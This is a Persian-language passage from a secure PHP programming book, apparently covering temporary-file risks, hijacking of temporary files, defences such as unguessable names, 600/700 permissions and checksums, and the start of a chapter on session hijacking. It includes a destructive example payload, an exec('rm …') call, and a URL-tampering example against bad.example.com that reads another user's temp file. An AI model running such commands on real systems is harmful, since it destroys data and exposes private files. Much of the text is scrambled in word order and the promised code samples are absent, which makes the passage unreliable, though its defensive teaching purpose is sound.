جسله  IDفایل هایی که برای ذخیره ویژگی های جلسه استفاده می شوند معمولا هم نام با 

 .  sess_7483ae44d51fe21353afb671d13f7199باشند مانند می

ردی ایجاد و ارسال می شود و یا فایل های موقتی که به عنوان ورودی برای سایر برنامه های کارب -

اینکه برای برنامه مشابه در جای دیگر ارسال می شود. مانند پیامهایی که در برنامه های چت استفاده 

 می شود و در برخی مواقع حتی درون پایگاه داده نیز ذخیره نمی شود.

 ترینمحرمانه از بعضی نگهداری به قادر موقتیهای فایل دهد،می نشان کوتاه فهرست این همانطور که 

 هستند.  شمای رایانه روی بر اطلاعات

  موقتيهای فایلهای ویژگي 9.2

های ویژگی دارای هاییفایل چنین حال، این است. با آن بودن موقتی موقتی، فایل یک ویژگی ترینمشخص

 هستند که در ادامه بیان می شود.  نیز دیگری مهم

 محل ذخیره سازی 9.2.1

برنامه می تواند هر مکانی از سیستم که کاربر به آن اجازه نوشتن داده باشد فایل های موقت  یک هرچند

 ذخیره می شوند. var/tmp/ و tmpراذخیره کند با این حال در اکثر مواقع این فایل ها در دو آدرس /

ی که فایل شوند. درصورت ایجاد ( نیز  hidden) مخفی دایرکتوری زیر یک درون است ممکن گاهی هرچند

 جای در که زمانی تا دارند قرار خطر معرض شده ذخیره شوند بیشتر درشناخته فرضها در مکان های پیش

 باشند. شده ایجاد دیگری

می باشند تا برنامه ها بتوانند فایل های خود را ایجاد و  world-writableاز طرف دیگر این محل ها 

 دستکاری نمایند و همین امر باعث می شود فضا را برای هکرها مساعد نماید 

 عملکرد  9.2.2

 از بعضی در ولی گردند حذف شد، بستهها آنی کننده ایجادی برنامه که هنگامی باید معمولا موقتیهای فایل

 بمانند:  باقی همچنان توانندها میفایل این شرایط،

 است.  نداشته راها فایل این حذفجهت  کافی وقت کند و  کرش شدن، بسته از قبل اگر برنامه -
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 کافی وقت برنامه مشابه، شکلی به نماید، 61کرش سیستم است، اجرا حال در برنامه که هنگامی اگر -

 پردازش یک برق، قطع دلیل به توانندمی سیستمهای است. کرش نداشته را معمول تمیزکاریجهت 

 باشد. می برنامه کنترل از خارج کاملا که باشد مواردی سایر یا مخرب

 که فایل در مقصد شود، ایجاد مانع تواندمی فایل یک نهایی مقصد در خالی فضای مشکلات -

 گردد.  موقتی فایل حذف عدم باعث تواندمی

 را موقتی فرضپیشهای دایرکتوری که باشند داشته وجود سیستمیهای پردازش است قرار هر چند -

ها فایل یا نخواهند این نتوانند دلیلی به است ممکنها پردازش این کنند، سازیپاک مرتب شکل به

به طور مثال ما بعد از بررسی  مسیر فوق در یکی از سرورهایمان متوجه حجم عظیم کنند.  حذف را

 نشده بودند.ماه پیش پاک  20آنها شدیم که از 

 باشد.  گرفته نادیده را موقتیهای فایل چنین حذف است ممکن نامناسب، نویسیبرنامه -

 ها ریسک 9.2.3

 در و باشد معلق شما سرور روی بر است ممکن کامل فایل یک تا شامل چند بیت  چیزی هر بنابراین

 نباشد.  یا قانونی باشد دسترسی این است صرفنظر ازاینکه دسترسیمجوز  دارای که باشد کسی هر دسترس

  مشاهده قابلیت 9.2.3.1

آن(  از بدتر )خیلی یا عموم دید معرض در شما خصوصیهای داده که است این آشکار خطر یک بنابراین،

 گیرد.  قرار گردد،ها میآن دنبال به که مهاجم یک

که به محل ذخیره سازی فایل های موقت دسترسی  بود خواهد آن نیازمند هکر  یک موارد، از بسیاری در

shell  یاFTP  .البته باید این نکته را درنظر گرفت که دسترسی به فایلهایی مانند ورود کاربر به داشته باشد

 سایت و یا دسترسی به ویژگیهای مشتری در سایت های تجاری برای رقبای آن سایت بسیار مهم می باشد.

 فرد یک است. اگر ممکن نیز دسترسی داشتن چنین بدون حتی خصوصیهای داده دسترسی به حال، این با

قابل دسترس می باشد با تغییر به داده هایی  GETبعد از مشاهد یک آدرس فایل موقت که با متد   کنجکاو

مشاهده که قبلا بررسی شده اند دستیابی پیدا کند به طور مثال پس از 
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46http://bad.example.com/spellcheck.php?tmp_file=spellcheck  و تغییر آن به

45k.php?tmp_file=spellcheckhttp://bad.example.com/spellchec   و وارد کردن آن در

 قسمت آدرس مرورگر به فایلی دسترسی پیدا کند که مربوط به او نمی باشد. 

  اجرا 9.2.3.2

 مهاجم یک اگر اجرایی. ولیصورت به نه و باشند موقتی صورت به موقتی،های فایل که است این بر فرض

 اجرایجهت  را روشی است ممکن وی شود، موقتی مکان یک به PHP اسکریپت یک قرار دادن به موفق

 بیابد.  سرور وب کاربر طریق از چه و مستقیم صورت به آن چه

باشد چه نتایجی به همراه خواهد  صورت این به دستور  یک شامل فایل این اگر کنید تصور  توانیدمی شما 

 داشت:

 ?< php  exec( 'rm *.*/' )>?; 

 

  کردن هایجک 9.2.3.3

 مهاجم یک که است این است، خطرناک بسیار ولی ممکن خیلی جدی گرفته نشود  که دیگر، ریسک یک

کند. برای اینکار به دو  استفاده خود اهداف، برای آن از و نموده هایجک را شما موقتی فایل است ممکن

 به ار چیزی یا و نماید روش می تواند عمل کند یا فایل موقت را به طور کامل با یک فایل جدید جایگزین

 باشد:  موارد این از یکی است ممکن وی کند. هدف اضافه آن

شما. این کار می تواند به دلایل زیر های داده جای به ویهای داده پردازشبه  شمای اجبار برنامه -

 باشد: 

 رمزعبور محرمانه شما دسترسی پیدا کند. داده هایی مانندهای به داده تواندبدین طریق می •

 خواندن قابل  PHP زبان   safe modeدر حالت  معمولا که هاییفایل سایر یا و سیستم

 نیستند. 

قبل از اینکه یک درخواست ) تراکنش   کند، پاک کامل صورت به راهای داده است ممکن •

 . (به صورت کامل اجراء شده باشد

 کنند.می مخدوش را)تراکنش(  درخواست نتایج که کند تولید را جعلیهایی داده تواندمی •

http://bad.example.com/spellcheck.php?tmp_file=spellcheck46
http://bad.example.com/spellcheck.php?tmp_file=spellcheck45
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که به داده ها نیاز دارد  دیگری برنامه یک به جعلیهای داده این یارائه با است ممکن •

 نماید.  وارد را زیادی صدمات

 باشد. وی دسترس در سادگی به که جایی به خروجی های شما انتقال برای -

هایجیک معولاً در شرایطی که برای دسترسی به یک منبع مشترک رقابت وجود دارد به طور مثال قرار 

است عمل نوشتن و خواندن بر روی یک فایل انجام شود و روال اصلی این است که ابتدا نوشتن انجام 

بد می شود سپس عمل خواندن انجام شود در صورتی که خروجی به محل دیگری منتقل شود دو حالت 

تواند رخ دهد حالت اول اینکه برنامه منتظر دریافت خروجی و خواندن شود که در این حالت اصطلاحاٌ 

برنامه دچار قحطی می شود. حالت دیگر این است که برنامه از داده ای که هنوز اصلاح نشده و قدیمی 

 است استفاده کند که می تواند نتایج  بدی به همراه داشته باشد. 

  موقت فایل های از استفاده سوء از جلوگیری 9.3

به بیان   آورده ایم،ها بدست آن از سوءاستفاده چگونگی و موقتیهای فایل چیستی از درکی ما که اکنون

 شوند. می نامطلوبیی استفاده چنین مانع که می پردازیم هاییاستراتژی

 از استفاده با را خودی شبکه ارتباطات نمودن ایمن چگونگی کامل صورت به ما ،7 و 6فصول در

SSL/TLS و SSH ازها مانع روش این از یکی از استفاده با شما اگر حتی دادیم. ولی قرار بحث مورد 

 به برخی از این تواندمی باز هم  مهاجم یک باشید خود، دستگاه به FTP یا شل به مهاجم یک دسترسی

برای جلوگیری از دسترسی به این فایل ها و  روش . چندیندسترسی داشته باشد مخرب موقتیهای فایل

 دارد که آنها را در ادامه بیان خواهیم کرد.  سوء استفاده از آنها وجود

  مکان نمودن مبهم 9.3.1

اولین اهی که به ذهن می رسد این است که فایل ها در محلی ذخیره کرد و نامی برای آن در نظر  شاید

. زیرا یک هکر برای دسترسی به فایل ها باید مسیر و نام گرفت که حدس زدن آن برای هکر سخت باشد

 نمایید. تر سخت را برای وی کار این که دهید انجام توانیدمی که کاری هر باید شما بنابراینفایل را بداند 

با توجه به اینکه اکدثر برنامه داده های موقت خود را در مسیری مشخص ذخیره می کنند هکرها با داشتن 

عات می توانند توسط نرم افزار ها یا به صورت دستی در محل ذخیره سازی پیش فرض به دنبال این اطلا

می تواند مفید   docs/apache/ فایل های مورد نظر خود بگردند از همین رو تغییر آدرس به آدرسی مانند
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ود دارند که به راحتی می باشد. ولی مطمئناٌ این کار به تنهایی کافی نخواهد بود زیرا نرم افزارهای زیادی وج

 توانند محل ذخیره سازی فایل های موقت را استخراج کنند.

 نباشید، انحرافی دایرکتوری یک در خود موقتهای فایل حمل فکر بهتنها  شما که دهیممی پیشنهاد بنابراین،

دارید و سعی کنید نامی برای فایل ها انتخاب نگه فرضپیشهای مکان همان در راها فایل این بلکه می توانید

 کنید که حدالمقدور قابل حدس نباشند. 

برای ایجاد یک فایل با نام منحصر به فرد در دایرکتوریی می باشد که این تابع  PHP )( درtempnam تابع

 شما عاملسیستم هب وابسته زیادی حد تا آن رفتار که باشد،می پارامتر دو دارای تابع صدا زده می شود. این

 باشد. می

مقداردهی  پارامتر این اگر لینوکس، شود. در ایجاد آن در باید فایل که دایرکتوری نام از عبارت پارامتر اولین

 سیستم فرضدایرکتوری پیش شده باشد که از قبل وجود نداشته باشد، مشخص دایرکتوری اگر یا نشده باشد

 گیرد.می قرار استفاده مورد

قرار گیرد. به  استفاده مورد فایل نام اول بخش عنوان به باید کهای رشته از است عبارت پارامتر دومین 

عبارت دیگر در نام تمام فایلهای ایجاد شده با این عبارت آغاز می گردد. قسمت دوم نام بر توسط تابع ایجاد 

این کد به ازای هر فایل رندوم ( می باشد. باید توجه داشت که  16می شود که یک کد هگزا ) در مبنای 

ایجاد نمی شود بلکه دارای ترتیب مشخص می باشد تا بتوان ترتیب زمانی فایلهای ایجاد شده مشخص 

 گردد.

 

 یک نمونه از بکار گیری این تابع به صورت زیر می باشد:  

 

 ایجاد کنونی، دایرکتوری بالای دایرکتوری در را myTempfile1af  نام با فایل تابع فوق به طور مثال یک

کند. در صورتی که دوباره می ذخیره آتیی جهت استفاده filename$ متغیر در را آن کامل مسیر و کندمی

 مجوزهای دارای موقتیهای این فایلکند.می ایجاد myTempfile1b0این تابع فراخوانی شود یک فایل 

 باشد. می مناسب هاییفایل چنینجهت  که باشند( می-------rw )یا 600 فرضپیش

های داده نوع مثلا که پیشوندی دهد،می پیشنهادرا  معنادار پیشوند یک از استفاده نویسیبرنامه استاندارد

ی ایده یک این امنیتی، دیدگاه کند. ولی ازمی استفاده آن از کهای برنامه یا و کند مشخص را آن در موجود
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 تواندمی را چیزی چه کههکر این راهنمایی را می کنید  یکبه  شما کار،این انجام با که چرا است بد بسیار

 دارد وجود هاییروش دهید. ولی انجام خواهیدنمی اصلا شما که مان چیزی است  این و بیابد؛ فایل این در

 دهید.  انجام امنیت از مناسبیی درجه با را کار این )در ادامه بیان خواهیم کرد( که

 صورت به را فایل PHP )( درtempnam تابعبه جای استفاده از  شما که دهیممی پیشنهاد ما ل،حا این با

 دارای تابع، )( انجام دهید. اینfopen تابع از استفاده با و این کار می توانید کنید ایجاد و گذارینام دستی

 ضروری پارامتر دوودارای   باشد می فایل ایجاد و گذارینام )( درtempnam با مقایسه در بیشتری انعطاف

 است.

 این دهید؛ اجازه خواهیدمی فایل این به را دسترسی نوع چه که کندمی مشخص که است حالت دوم، پارامتر 

 برابر سیستم فایل حالت )یعنی بدهد را نوشتن و خواندنی اجازه تا گیردمی قرار+’ w‘ با برابر معمولا مورد

 (. 600 با

 تابع شود. با داده فایل به باید که است نامی پارامتر، این باشد،می بالاتری اهمیت دارای، پارامتر اولین

fopen،)( و آن نام آن، کنید: مسیر مشخص را فایل یک نامهای بخش توانید( تمامیمی )و هستید آزاد شما 

 برای فایل خود درنظر بگیرید.دلخواه  پسوند یکدر صورت تمایل می توانید  حتی

 یک دارای که کنیممی استفاده موقتی فایل یکبرای   نام یک جهت ایجاد PHP از توابع و امکانات زبان  ما 

تر سادهجهت  اختیاری پیشوند یک با تواندمی نام شود. این سخت آن زدن حدس تا باشد تصادفی بخش

آغاز  بیشینه ابهامجهت  تصادفی پیشوند یک با توانیدمی یا شود آغاز ها،زباله آوریجمع و 62باگدی نمودن

 گردد. 

 خواهیدمی احتمالا زیراگیرند.  موقتی قرارهای فایل  فرضپیشهای می کنیم فایل در مکان پیشنهاد ما 

بروند به طور مثال در دستور زیر آدرس دایرکتوری به  مکان همان به شمای برنامه در موقتیهای فایل تمامی

 تنظیم شده است:  tmpصورت ثابت و با آدرس 
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با این هدف که متوجه  کنید استفاده فایل نامجهت  معنادار پیشوند یک از که بگیرید تصمیم است ممکن

شوید این فایل مربوط به چه چیزی می باشد به طور مثال اگر فایل ها مربوط به اطلاعات پیست اسکی است 

 می توان به صورت زیر عمل کرد. 

 

 کنید:  استفاده تصادفی پیشوند یک از توانیدمی یا

 

 مقدار یک شما فایل، اینجهت  معنادار نام یک از استفاده در بالقوه امنیتی ریسک کاهش منظور به ادامه، در

 خواهید تولید کنید، ایجاد است ممکن که دیگری هرفایل از موقتی فایل این نمودن متمایزجهت  را تصادفی

 را پارامتر دو باشد کهمی PHP )( درuniqid تابع از استفاده کار اینجهت  ما پیشنهادی نمود. روند

 این که منطقی است مقدار یک پارامتر نمودیم. دومین ایجاد قبلا ما که است پیشوندی پارامتر پذیرد. اولینمی

 را مقدار این که دهیممی پیشنهاد خیر؛ یا کنیم اضافه تولید به را اضافی آنتروپی که کندمی مشخص را امر

 بود:  خواهد این به شبیه چیزی موقتی فایل نام تولیدجهت  دستور دهید. بنابراین، قرار TRUEبرابر با 

 

)( انجام می touch تابع فراخوانیتوسط  سادگی به فایل خود ایجاد کردید، ایجاد را فایل نام که هنگامی

 صورت می باشد:  این به کند. کد آن می ایجاد شده، تولید نام با را خالی فایل یک که شود

 

 هر توسط دهدمی اجازه و کند می ( ایجاد--rw-r--r )یا 644سطح دسترسی پیش فرض  با فایلتابع  این

 قبول قابل بماند، محرمانه خواهیدمی شما که فایلیجهت سطح دسترسی  قابل خواندن باشد. این کسی

 قرار مقدار ترینمحدودکننده روی بر دستی صورت به را مجوزها  نآ ایجاد از قبل باید شما بنابراین و نیست

 دهد (. یعنیمیقرار  600سطح دسترسی را مقدار  فرضپیش صورت )( که بهtempnam )مشابه تابع دهید

توسط هیچ کاربری غیر از کاربر سازنده مقابل مشاهده، اجرا و نوشتن نباشد. و کاربر سازنده نیز تنها قابلیت 

 صورت انجام می گیرد:  این بهخواندن و نوشتن دارد. این کار 

 

 : به صورت زیر می باشد PHPکلیه کدهای مربوط به  ساخت یک فایل ایمن در 



  PHPنویسي امن برنامه

254 

 

 
 

 

 با را tmp/skiResort392942668f9b396c08.03510070/ مشابه فایل نام یک اسکریپت، این

 فایل این از دهد. استفادهمی قرار 600 با برابر را آن مجوزهای و کند،می )( ایجادuniqid تابع از استفاده

جهت  تواندمی سادگی به بنابراین و دارد قرار tempFilename$ متغیر در آن نام که چرا است ساده بسیار

جهت  جلسه متغیر یک در یا و شود ارسال پیگیریهای برنامه یا و شلهای اسکریپت اساسی،های کتابخانه

 شود.  ذخیره شمای برنامهبرای  آتی HTTPهای درخواست توسط استفاده

 نام ترکیب یک مثال، )برای گذاردمی اشتراک بهها برنامه سایر با را بیرونی رمز یک شمای برنامه اگر

 شما توسط فرم ها(، ارسال و اجرا زمان در شده تولید تصادفی کد یک تنها حتی یا عبور کاربری/رمز

 فایل و از آن به عنوان نام بالاتر ببرید. را کردن آن امنیت hashو  Sessionبا ترکیب آن با متغیر   توانیدمی

 آن به و یا کند تولید را فایل نام که بود خواهد قادر بداند را رمز این که پردازشی هر استفاده نمایید. آنگاه،
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می  فرآیند باشد. ایننمی آن زدن حدس به قادر گاههیچ کننده هایجک یک که حالی در باشد. داشته دسترسی

 :انجام شود زیر اسکریپت تکه به شبیه تواند توسط اسکریپتی

 

 مثل فایل نام یک اسکریپت، این

/tmp/skiResort91c8247fb32eebc639d27ef14802976d624a20ee رمز از استفاده با را 

hash  فایل این دهد. ناممی قرار 600 با برابر را آن مجوزهای و کندمی تولید را فایل کند،می ایجاد، شده 

 مورد زمان در تواندمی نام این که دلیل این به شود، ارسال دیگر پردازش یکجهت  که نیست لازم گاههیچ

 شود.  تولید کرد، ایجاد را رمز باید چگونه بداند که پردازشی هر توسط نیاز
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  مجوزها نمودن محدود 9.3.2

 مورد را مشاهده برای همه نباشد قابل تولیدشده موقتیهای فایل اینکه از اطمینان ضرورتدر مورد   قبلا ما

 ذخیره آنجا درها فایل این کهداده شود  تعمیم نیز هاییدایرکتوری باید به نکته دادیم. این قرار بحث

 شوند.می

 مجوزهای دارای نیزها دایرکتوری این که شوید مطمئن جهت افزایش امنیت این دایرکتوری ها باید 

 طورهمان ( باید برای آنها استفاده شود.------rwx )یا 700از سطح دسترسی   معمولا باشند. محدودشده

 کاربرانی فقط به  راها دایرکتوری این درها فایل تولیدی اجازه امر کردیم. این بیان چهارم فصل در که

 مجوز دسترسی به این دایرکتوری ها را ندارند.  کاربران سایر و هستند مجوز دارای که دهدمی

به طور مثال  کرد. محدودتر می باشد  apache.conf آپاچی که  تنظیمات فایل تغییر بارا می توان  مجوزها

 کد زیر این کار را انجام می دهد: 

 

 شد. البته خواهد آپاچی، توسط فولدر این در شدهمشخصهای و دسترسی فایل ارائه مانع دستورالعمل این

 webrootپوشه  درون موقتیهای فایل ایجاد حال در دلیلی به که دارید نیاز زمانی تنها امر، این به شما

 تنظیمات، شامل خود،ی برنامه پشتیبانیهای فایل تمامی که دهیممی پیشنهاد ما باشید.)ریشه سایت(  

 کنید.  ذخیره آپاچی، webroot دایرکتوری از خارج در را موقتیهای فایل البته وها کتابخانه

  بنویسید شده شناختههای فایل در تنها 9.3.3

 باید حال همه در شما نویسند،ها میآن در و کرده ایجاد را موقتیهای فایل شماهای اسکریپت که آنجا از

 سختهای نام باهایی فایل دارد. ایجاد قرارها آن در چیزی چه و دارند وجودها فایل کدام که بدانید

از این  تا حدود زیادی مانع و این کار کندتر میایمن حدی تا راها فایل کردیم( این بحث قبلا که طور)همان

 آن به چیزی افزودن یا و آن کامل جایگزینیتوسط  فایل یک کردن هایجکاقدام   مهاجم یکمی شود که 

 موجود محتوای که کنید بررسی دقت به باید شما است. بنابراین پذیرامکان امر این همچنان هرچند شود.می

 دارید.  انتظار که است چیزی همان موقتی فایل یک
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 کردید. اگر برای باز’ w‘+ حالت با را آن شما زیرا باشد، خالی باید نویسید،می فایل یک در که باری اولین

 این اطمینان پیدا کنید که این کار به آن بودن خالی باید از  بنویسید، آن در می خواهید چیزی بار اولین

 می شود:  بررسی صورت

 

 را آن شما که زمانی بین یا و است آمده وجود به آن ایجاد در زمان مشکلی یا آنگاه نباشد، خالی فایل اگر

 کار باید شما صورت، هر است. در شده هایجک اید،شده آن در نوشتنی آماده که زمانی و ایدکرده ایجاد

بر روی یک فایل موقت  متوالیهای ویرایش از مجموعه یک که است طبیعی کاملا ندهید. البته، ادامه را خود

 این آیاباید بررسی شود  و یا کم شود. ولی اضافه فایل بههایی داده ،بار هر در بازه های زمانی رخ دهد و

 است: سوال این به پاسخجهت   زیر کد است یا خیر؟ ایمن نگارش،جهت  در این لحظه فایل
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 یک در چیزی نوشتنجهت  تنها هم آن برسد نظر به ریخته هم به و پیچیده فرآیند یک است ممکن امر این

 چه تا توجه نوع این که دریابید تا بیفتید هایجکر یک دام به است لازم بار یک تنها شما موقتی. ولی فایل

 باشد. می اهمیت دارای حدی

  بخوانید شده شناختههای فایل از تنها 9.3.4

 یک است. اگر نیاز مورد، خوانیدمی موقتیهای فایل از راها داده شما که باری هر در مراقبت نوع همین

 در بررسی بدون راها داده آن شما و باشد داده قرار شماهای داده جای به را خودهای داده هایجکر

اید و آن این است کرده نقض را نویسیبرنامه اصلیی قاعدهیکی از  شما آنگاه کنید، ذخیره خودی دادهپایگاه

 کنید.  محافظت قیمتی هر به را خود کاربرانهای که داده

 که زمانی شما که است کدی همان از استفادهها، آن از استفاده از قبلها داده اعتبار تاییدجهت  آشکار روش

 کردید.  ایجاد نوشتید،می فایل روی بر

 هم با را دو این و کنیدمی ایجاد را دیگر checksum یک کنید، بازیابی راها داده خواهیدمی که هنگامی

 که دهدمی نشان تطابق عدم دادید(. وجود انجام نوشتن هنگام که کاری مانند به )درست کنیدمی مقایسه

 دوباره یا و کنید متوقف را پردازش یا که دهدمی هشدار شما به و داشتید انتظار شما که نیستند چیزیها داده

 نکنید.  استفاده شده، بینیپیش هدفها جهت داده این از حداقل یا و کنید شروع

 هنگام در راها داده که است این شده، هایجکهای داده برابر در خود از حفاظتجهت  دیگر روش یک

 توانیدمی باشید، داشته معتبر گواهی یک و باشید کردهنصب را OpenSSL شما کنید. اگر امضا نوشتن،

 اضافه موقت، فایل درون نوشتن هنگامها داده به را شما گواهی و نوشته راها داده که کنید ایجاد را متدی

 گواهی با را آن و کنید استخراج آن از را گواهی داشتید،ها داده آن از مجددی استفاده نیاز به که هنگامیکند. 

 نباید که باشدمی مخربیهای دادهی دهنده نشان تطابق عدموجود  نیز، اینجا کنید. درمی مقایسه اصلی

 و کرده ایجاد که تصادفیی تکه یک افزودن با را کارهمین توانیدمی ندارید، گواهی یک شوند. اگر استفاده

 دهید.  انجام کنید،می ذخیره فایل از مستقل

  شده آپلودهای فایل بررسي 9.3.5

 انجام شمابرای  را کار اعظمی از قسمت تواندمی PHP )( درis_uploaded_file تابع حالت، این در

 مشتری( به دستگاه روی بر فایل نام )نه سرور روی بر موقتیی حافظه در فایلی را که نام تابع دهد. این

 عبارت  پارامتر مقدار عمومی این . بنابراین،دریافت می کند خود پارامتر عنوان
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_$FILES['userfile']['tmp_name'خواهد ] ی آرایه عنصر اولین اینجا، بود. در_$FILES معمولا( 

'userfile' که است شده مشخص، ارسال فرم در فایل ورودی عنصر نام فیلد در که است ( همان نامی 

ی رشته پارامتر باشد. دومینمی "<input name="userfile" type="file/> به شبیه معمولا چیزی

 مکان در ارسالی فایل به PHP که بود خواهد نامی هر با برابر آن مقدار که باشدمی 'tmp_name' واقعی

 ذخیره فایل به مقدار این باشد. بنابراین،نمی اهمیت دارای، چیست دقیقا نام این اینکه است. داده خود موقتی

 که است فایلی همان این آیا که کند بررسی را امر این که دهدمی اجازه تابع به و کندمی اشاره موقتیی شده

 خیر.  یا شده ارسال POST روش طریق از

بازگرداند نمی توان به  را FALSE مقدار اگر گرداندمی باز را TRUE مقدار تابع نشود مشاهد تفاوتی اگر

 احتمالات ولی است پذیر امکان امر این است. هرچند شده هایجک موقتی، فایل این که طور قطع گفت

شوند. به طور  [ مشخص'error']FILES['userfile']$_ متغیر با توانندمی که دارند، وجود نیز دیگری

 یا و باشد شده ارسال آن از بخشی تنها است ممکن یا و باشد بوده بزرگ حد از بیشفایل  است مثال  ممکن

 باشد.  نداشته وجود اصلا است ممکن

)( انجام می is_uploaded_file تابع توسط تنها شده ارسال فایل یک اعتبار تایید بررسی  خلاصه، طوربه

 صورت می باشد: این به شود که کدهای آن
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  هایجک برابر در 63حفاظت تست 9.4

 از عبارت خودهای اسکریپت داشتننگه ایمن از مهم بخش یک یم،نمود بیان قبلیهای فصل در که طورهمان

 را تستی چنین از نمونه یک ما اینجا ممکن می باشد. درهای نقص برابر در حفاظتها جهت آن کردن تست

 خیر. یا کندمی کار واقعاسازی درهم روش آیا که کندمی بررسی آن در که کنیممی ارائه
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شما برای اطمینان از امنیت فایل ها و کدهای خود باید به روش های مختلف برنامه را توسط هایجک های 

مختلف تست نمایید و حفره های امنیتی را پیدا کرده و با روشهایی مشابه روشهای بیان شده از برنامه خود 

 در مقابل هایجکرها محافظت نمایید.

  خلاصه 9.5

 موقتیهای فایل از محافظتروی  بر تمرکز با اسکریپتهای نقص خصوص را در خود بحث نهم، فصل در

های ریسک وها آن عملکرد ،هاهای آنمکان، موقتیهای فایل دادیم. و مباحث خود را با بیان اهمیت ادامه

 کردن هایجکجهت  مهاجم یک به فرصتی یارائه و شما خصوصیهای داده نمودن آشکار مانندها آن همراه

 کردیم.  آغاز را کار خود، فایل با آن جایگزینی و شما فایل

 پیرامون بحث همچنین بهعلمیاتی را که هایجکر ها می توانند انجام دهندرا بیان کردیم  مثالیبا  سپس

 اطاتارتب نمودن پرداختیم. راه کارهایی به منظور  ایمنای استفاده سوء چنین از ممانعت مختلفهای روش

های فایل از  خواندن و نوشتن و مجوزها نمودن محدود زدن، حدس قابل غیرهای فایل نام ایجاد شبکه،

 شده ارائه شد.  شناخته
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 موقتیهای فایل کردن هایجکها جهت تلاش برابر در شما حفاظت و از تستجهت  را مدلی ما آخر، در

های اسکریپت داشتننگه ایمنهای روش از خود بررسی در مرحله آخرین به ما دهم، فصل نمودیم. در ارائه

 بهها اسکریپت نمودن ایمن خصوص در ما آنجا در پرداخت. خواهیم ممکن حد بالاترین تا خودی برنامه

 پرداخت.  خواهیم (،Sessionجلسات ) کردن هایجک از جلوگیری منظور
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 جلسه هایجک از دهم: جلوگیری فصل 10

 آخرین اینجا در پردازیم؛می PHPهای اسکریپت داشتننگه ایمن در خود بحث آخرین دهم به فصل در

 کنیم. می بررسی جلسه را کردن هایجک یعنی کاربرانهای داده امنیتجهت  تهدید

تر ایمنجهت  تلاش از بخشی عنوان به 1944 در سال اسکیپنت توسط ابتدا در پایدار جلسات مفهوم

 فصل، این در حال، این با. شد SSL پروتکل ایجاد به منجر تلاش بیان شد. این اینترنت، ارتباطات نمودن

های نقص چه موارد این که مسئله این و پایدار جلسات مفهوم به بلکه نیست SSL امنیتی ابعاد به تمرکز ما

 باشد. میدارند،  استفاده سوء برابر درای بالقوه

  کنندمي کار چگونه پایدار 64جلسات 10.1

با این فرض ایجاد شدند که این ارتباط تنها برای تبادل اطلاعات لحظه ای می  ابتدا در HTTP ارتباطات

 ارسال دارد و به وجود کوتاهی زمان مدتجهت  تنها دو مولفه ) کلاینت/سرور( بین ارتباط یک یعنی،باشد 

 شد،می کامل ارسال این که شود. هنگامی منتهی می مشتری، به شده ارسال پاسخ و سرور به درخواست یک

 نداشتند.  هم از اطلاعی ارتباط دیگر ایجاد از قبل زمان مانند مولفه دو

 چیزی از خریدها( بود ولی فراتر قبیل )از مبادلاتجهت  وب باوجود اینکه که است این سیستم این مشکل

به ارتباطات سابق وابسته بودند به طوری  ارتباطات این گرفت. قرار استفاده مورد بود، شدهتصور  ابتدا در که

که فقط بر اساس درخواست به آ پاسخ داده نمی شد و به اطلاعاتی که قبلاٌ بدست آمده بود وابسته شد. به 

 دریافت را محصولات مورد در اطلاعاتیابتدا  شدید،می خرید سایت یک وارد طور مثال شما

 قبلی حالت یک به وابستهای وظیفه چنین غیره. ماهیت و کردیدمی انتخاب را محصولاتسپس کردید،می

 است. 

 اطلاعاتی پکیج یک از است عبارت جلسه شدند. یک ایجاد انقطاع، این حلجهت  روشی عنوان به جلسات

 دارای و شودمی ذخیره موقتی فایل یک عنوان به سرور روی بر معمولاپکیج  جاری. این تراکنش با مرتبط

 باشد. اینمی جلسه آغاز تاریخ و زمانی علاوه به تصادفیی شماره یک شامل معمولا که باشدمی ID یک
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ID ،از طرف کلاینت به ی درخواست هر با سپس و شودمی ارسالبرای او  کلاینتبه  پاسخ اولین با جلسه

 جلسه آن مناسبی شده ذخیرههای داده به تا دهدمی اجازه سرور به امر گردد. اینمی ارسال سرور سمت

 قبلی خودهای تراکنش با منطقی ارتباط دارای تا دهدمی اجازه تراکنش هر به امر باشد. این داشته دسترسی

 باشد. 

 PHP جلسات 10.1.1

PHP تابعرا پشتیبانی می کند.جلسه توسط   جلسات مدیریت به صورت ذاتی session_startآغاز )( 

 عمومیی آرایه کند. همچنینمی ذخیره PHPSESSID ثابت در را آن و کرده تولید را جلسه ID و گرددمی

_$SESSION طورکنید. همان ذخیره داشتید، دوست که را اطلاعاتی هر آن در توانیدمی که کندمی ایجاد را 

 نوشته جلسه است ID نام که دارای موقتی فایل یک درون و سرور روی بر اطلاعات این گفتیم، قبلا که

جهت  مکمل روش دوبداند.  را جلسه ID شما،ی برنامه که است دسترسی قابل زمانی تا فایل اینشود. می

 دارد. جلسه( وجود اطلاعات به دسترسی به طبع آن )و جلسه ID حفظ

 name=value فرمت با کوکی یک آنگاه باشند، شده کلاینت فعالسیستم  روی بر 65هاکوکی اگر -

 با است برابر value و PHPSESSID با است برابر name آن، در که شودمی نوشته آنجا در

 باشد. می جلسه واقعی ID که ثابتی مقدار

 متغیر یک خودکار صورت به تا نمود تنظیم توانمی را PHP آنگاه نباشند، فعالها کوکی اگر -

_$GET ی  رشته حاوی که راname=value هر انتهای به را باشدمی URI درون گرفته قرار 

 نامند. می transparent session ID را ویژگی کند. این اضافه پاسخ،

)( فراخوانی می شود ابتدا بررسی می کند که آیا کوکی ای با مقدار session_start زمانی که تابع

PHPSESSID در متغیر _$COOKIE   وجود دارد دارد یا خیر اگر وجود نداشت در صورتی که

فعال است یا خیر که اگر فعال باشد بررسی می کند که   transparent session IDبررسی می کند که آیا 

ارسال شده است یا خیر که اگر این  GETاست که با متد  PHPSESSIDدارای عبارتی با نام  urlآیا 

که بر روی سرور قرار دارد  sessionجواب مثبت باشد و یا کوکی با این ساخته شده باشد به اطلاعات 
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قرار می دهد و در حالتی که چنین  SESSION$_پیدا می کند و آنها را درون آرایه عمومی دسترسی 

جلسه ای بر روی سرور وجود نداشته باشد یا جلسه جدید تشکیل می دهد و یک آرایه عمومی تهی به نام 

_$SESSION .ایجاد می کند 

 متغیر از یا گفتیم که طورانهم که، شودمی تکرار نیز اسکریپتها و صفحات بعدیجهت  فرآیند این

_$COOKIE متغیر یک از اختیاری صورت به یا و کندمی استفاده _$GET  ،ID و کند جلسه را ردیابی 

 مورد اسکریپت توسط تواندمی آنجا در که کندمی ذخیره SESSION$_ متغیر در را جلسه اطلاعات

 گیرد.  قرار استفاده

 متغیرهای سایر برخلاف. شوندمی ذخیره مرورگری حافظه در جلسه را نگهداری  تنها IDهایی که  کوکی

